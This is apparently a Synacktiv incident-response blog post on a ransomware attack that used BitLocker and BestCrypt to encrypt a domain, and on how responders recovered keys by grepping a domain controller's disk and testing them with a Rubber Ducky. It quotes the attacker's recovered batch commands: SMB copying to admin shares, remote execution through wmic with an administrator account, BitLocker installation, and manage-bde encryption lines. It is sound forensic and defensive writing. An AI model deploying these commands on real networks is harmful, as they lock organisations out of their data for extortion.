Rédigé par Aymeric Palhière , Rémi Jullian - 31/01/2022 - dans CSIRT - Téléchargement
During a ransomware incident, CSIRT Synacktiv noticed that the bitlocker mechanism was used to encrypt company and user files. This blogpost does not intend to retrace the whole incident response process. The idea is to illustrate how we managed (or not) to recover encryption keys and save a few workstations from their terrible fate. The incident took place few months ago.

Compromise level

The entirety of the Active Directory domain has been compromised. All the workstations have been encrypted using BitLocker and all servers secondary disks, mostly containing business data or virtual machines, were encrypted using Jetico's BestCrypt utility. Ransom notes were dropped on the servers, which could still be used after the attack because their system disk remained untouched. As for the workstations, they were completely unusable because of BitLocker's full-disk encryption.

While we identified malicious RDP connections on the DC, during the night of the attack, the initial compromise vector has not been identified with certainty. Indeed the source IP address from the RDP session belonged to an internal VPN IP address range, and no logs remained available to allow us to identifiy the associated workstation. Of course, all the backups and logs were stored somewhere in the domain, so they had been removed.

To sum up a bit, everything was locked, attackers have had a remote access to the whole domain and we only had a disk copy of the remaining servers to investigate, especially the domain controller.

Servers Encryption

The process used to deploy BestCrypt on targeted servers was not automated. Indeed, we identified that in order to encrypt data on several servers, the attacker performed manual RDP connections, directly from the domain controler. Windows Event Logs allowed us to identify the list of servers on which the attacker deployed BestCrypt (formally attempted to deploy) :

Log Name: Microsoft-Windows-TerminalServices-RDPClient/Operational
Source: Microsoft-Windows-TerminalServices-ClientActiveXCore
Date: 11/09/2021 01:23:35
Event ID: 1024
Task Category: Connection Sequence 
Level: Information
Keywords: User: S-1-5-21-REDACTED-500
Computer: Description: RDP ClientActiveX is trying to connect to the server (REDACTED) 

The SID starting with "S-1-5-21" and ending with "500" shows that an administrator account on the domain was owned by the attacker. It is funny to notice several typographicals errors made by the attacker when typing the IP addresses, as we found out IPs like "192.168.1.è" in the Event Logs (accented character è used in the AZERTY layout).

A next article will explain how we tried to recover encrypted data from these servers using Bestcrypt.

Workstations encryption

In order to target the workstations members of the domain, the attacker executed several batch scripts in order to:

  • create the ransom note on the user's desktop
  • install BitLocker
  • start BitLock encryption

We managed to recover some of these scripts with several Sleuth Kit command line tools, used to analyze the MFT of the disk controller. These tools allow to retrieve deleted files, if the inodes (file id) which backed these files have not been reassigned to newer files (when it does it is important to perform disk analysis as soon as possible in such analyze).

The following files were recovered, they were previously placed in the Recycle Bin, before it has been emptied:


The role of these files is the following:

  • ip.txt: text file containing the list of targeted IP addresses (workstations members of the domain)
  • 1.bat: script using ip.txt to copy, from the domain controller the script located in C:\bitlocker\cmd\IP.bat to the targeted computer into destination file C:\WINDOWS\test.bat. The copy is made over the SMB protocol. Each batch file is uniq for each targeted IP address. This allows to specify a custom bitlocker key for each targeted workstation:
for /f %%i in (ip.txt) do copy "c:\\bitlocker\cmd\%%i.bat" \\%%i\c$\WINDOWS\test.bat /y
  • lock.bat: script using ip.txt, in order to execute the script C:\WINDOWS\test.bat, on each targeted workstation, using WMI (Windows Management Instrumentation) and the administrator account (administrateur in french):
for /f %%i in (ip.txt) do wmic /node:"%%i" /USER:"\administrateur" /PASSWORD:"REDACTED" process call create cmd.exe /c c:\WINDOWS\test.bat
  • getstatus.bat: script using ip.txt, in order to retrieve the file C:\IP.txt, created on targeted computers and providing information about the progress of bitlocker encryption:
mkdir status
for /f %%i in (ip.txt) do copy \\%%i\C$\%%i.txt C:\\bitlocker\status\

Attentive readers would have noticed that retrieving all the files C:\bitlocker\cmd\IP.bat on the domain controller, would allow to retrieve Bitlocker keys and thus to decrypt every workstation. Sadly, we didn't find any trace of these files on the MFT. However, we confirmed these files have been created, accessed then deleted by querying the UsnJournal of the C:\ partition on the disk controler.


As specified in the previous section,  BitLocker, Microsoft's native disk encryption utility, was used in order to encrypt all the workstations. Indeed, it is easy to deploy within a Windows environment and has very low chances of triggering any security solutions.

BitLocker has been installed using the following commands, inside a batch script that has been copied to all the workstations:

ServerManagerCmd -install BitLocker -restart
powershell -command Install-WindowsFeature BitLocker -restart
shutdown -r -t 0 -f

While carving data from the system disk of one of the domain controllers, leftovers of the batch scripts used for configuring the key protectors were found. Knowing that the disks were encrypted by BitLocker, it was decided to search for strings including "manage-bde", which is Microsoft's utility allowing to configure anything related with BitLocker.

Here is an example of a batch script, named under the convention IP.bat, targeting a specific machine of the network (the recovery passwords were originally random and replaced in the following example by  111111-222222-333333-444444-555555-666666-777777-888888.) :

$ grep -b -a -A3 "manage-bde -" dc_disk.dump
110719869991:manage-bde -on A: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870096:manage-bde -on B: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870201:manage-bde -on C: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870306:manage-bde -on D: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870411:manage-bde -on E: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870516:manage-bde -on F: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870621:manage-bde -on G: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870726:manage-bde -on H: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870831:manage-bde -on I: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719870936:manage-bde -on J: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871041:manage-bde -on K: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871146:manage-bde -on L: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871251:manage-bde -on M: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871356:manage-bde -on N: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871461:manage-bde -on O: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871566:manage-bde -on P: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871671:manage-bde -on Q: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871776:manage-bde -on R: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871881:manage-bde -on S: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719871986:manage-bde -on T: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719872091:manage-bde -on U: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719872196:manage-bde -on V: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719872301:manage-bde -on W: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719872406:manage-bde -on X: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719872511:manage-bde -on Y: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s
110719872616:manage-bde -on Z: -rp 111111-222222-333333-444444-555555-666666-777777-888888 -UsedSpaceOnly -sk C:\ -s

110719872721-reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\FVE" /v UseTPM     /t REG_DWORD /d "0x02" /f
110719872819-reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /t REG_DWORD /d "0x00" /f
110719872920-reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /t REG_DWORD /d "0x01" /f


The same recovery password (-rp) was added for all the possible disk emplacements. It is important to note that this recovery password is unique for each machine and startup keys mandatory for manage-bde. The three added registry keys allow to authenticate using the TPM and a startup key, that is stored in C:\.

Using the good old grep, 34 different keys were recovered. However, it was impossible to find out to which workstation each corresponds. Indeed, as specified in the previous section, all the entries related to the IP.bat files had been overriden in the MFT. Thus, grep allowed use to find disk sectors that used to be related to 34 of the IP.bat scripts, and luckily haven't been re-used at the time we created the disk dump.

The only way to know was to try all the keys on all the computers of the fleet. Considering the size of a key and the fact that one had to boot the computer and reach BitLocker recovery menu before being able to test the key, the process was very slow and painful. The fleet being composed of approximately 120 workstations, testing all the keys manually would have taken hours.

It was decided to automate the task using a Rubber Ducky. This is a programmable HID device simulating keystrokes when plugged to a computer : usually used for red teaming operation. That way, it was possible to record the keystrokes combination allowing to enter BitLocker recovery mode and test all the known keys in a pretty short time.

A sample of the Rubber Ducky script:

STRING <KEY1 48 characters length without hyphen>

Rubber Ducky payloads being limited in size, we were forced to optimize the code so it could fit in the key's memory (i.e. use REPEAT 52; instead of DELETE 52 times :D). This technique has the drawback that someone has to be monitoring the process in order to identify which key lead to the decryption of the disk. However, it was rather fast and allowed us to restore roughly a third of the locked workstations.


Some unexpected fragmented pieces of the script used to encrypt workstation drive were recovered by grep-ing on the server used to deploy the final load. Thanks to this, we were able to recover some of the affected computers and to automate the decryption process using a rubber ducky.

Some tools and indicators of compromise can help cross-reference known threat actors, but this information is of little help to this investigation and is inconsistent with typos found when manually entering IP addresses or hosts.

Finally, when everything else fails, you can always rely on a good old grep.